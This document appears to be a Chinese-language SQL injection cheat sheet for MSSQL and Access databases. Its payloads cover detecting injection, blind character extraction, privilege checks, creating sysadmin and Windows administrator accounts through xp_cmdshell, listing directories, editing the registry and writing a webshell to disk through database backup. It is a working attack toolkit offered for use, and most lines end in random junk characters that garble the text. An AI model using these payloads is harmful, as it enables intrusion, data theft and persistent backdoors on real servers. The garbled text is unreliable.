1.判断是否有注入;and 1=1 ;and 1=2 c{{RP6o/j=
2.初步判断是否是mssql ;and user>0 n%d7`?tm4
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3.注入参数是字符'and [查询条件] and ''=' zxrbEE Q
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' Z^t{m!v
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5.判断数据库系统 ?/YT,W<c;&
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;and (select count(*) from sysobjects)>0 mssql R,8460e7
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;and (select count(*) from msysobjects)>0 access ZJ%iiY
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 o(@^V!}V
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 $|o[l.q2
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 4<S=KFT_
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9.(1)猜字段的ascii值(access) =PmIrvr'[5
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 yhxZ^(I
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(2)猜字段的ascii值(mssql) @ 5V3I^
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 8.tp#x,A
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10.测试权限结构(mssql) p sAr>:\3
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- MNH-SQB |
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- a9p6[qOcd
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- POb2U1Sj
>]/aG!
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- tREC)+*\
hEfFMi=a`
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- S*(ns<L
(2'q~Z+>'
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- ?dQ#%06mn
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;and 1=(select IS_MEMBER('db_owner'));-- Vee;&
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11.添加mssql和系统的帐户 VR vX^w0
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;exec master.dbo.sp_addlogin username;-- f= 33+8I
;exec master.dbo.sp_password null,username,password;-- m8z414o
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- l/6(V:
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;exec master.dbo.xp_cmdshell 'net user username password `YK%I8
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- !345
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- {3N5Fi7S
FSyeDC^@
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- QUi=ZD1
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12.(1)遍历目录 G-G\l?R(
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;create table dirs(paths varchar(100), id int) 3R[,,WAj$
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;insert dirs exec master.dbo.xp_dirtree 'c:\' (!dwUB
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;and (select top 1 paths from dirs)>0 c7/fQc)h4d
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) [p 8fg!|
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(2)遍历目录 AGgL`sP
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 GFO(O
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 0?\d%J!"S
/rmm@
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 \I~9%QJ>
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 vV /fTO
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13.mssql中的存储过程 S0-/9h
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xp_regenumvalues 注册表根键, 子键 ${w\^6&
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 rQ$Jk[Y
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xp_regread 根键,子键,键值名 ~riV9_-
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;exec xp_regread n^;Sh$Os
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 8CN0Q&|
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xp_regwrite 根键,子键, 值名, 值类型, 值 xN]88L}Tn
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值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型 a>/jW-?
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 T0Zv.
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xp_regdeletevalue 根键,子键,值名 DeL7sU
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 yct^AN|%
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 @&E{
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14.mssql的backup创建webshell UkV{4*E
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use model @Zd/>'
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create table cmd(str image); iv]*HE
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insert into cmd(str) values (''); jM DG
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backup database model to disk='c:\l.asp'; YQk<1./}I
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15.mssql内置函数 H3Z"u
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;and (select @@version)>0 获得Windows的版本号 'dTg\
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa ^6[o$eY3
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;and (select user_name())>0 爆当前系统的连接用户 V=|X=:fuih
0/Wo":R:
;and (select db_name())>0 得到当前连接的数据库 LVX01ox$
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16.简洁的webshell #`9D,+2iB%
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use model }R -azN;
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create table cmd(str image); MGzuQrl{H
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insert into cmd(str) values (''); h#iFp9N
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backup database model to disk='g:\wwwtest\l.asp';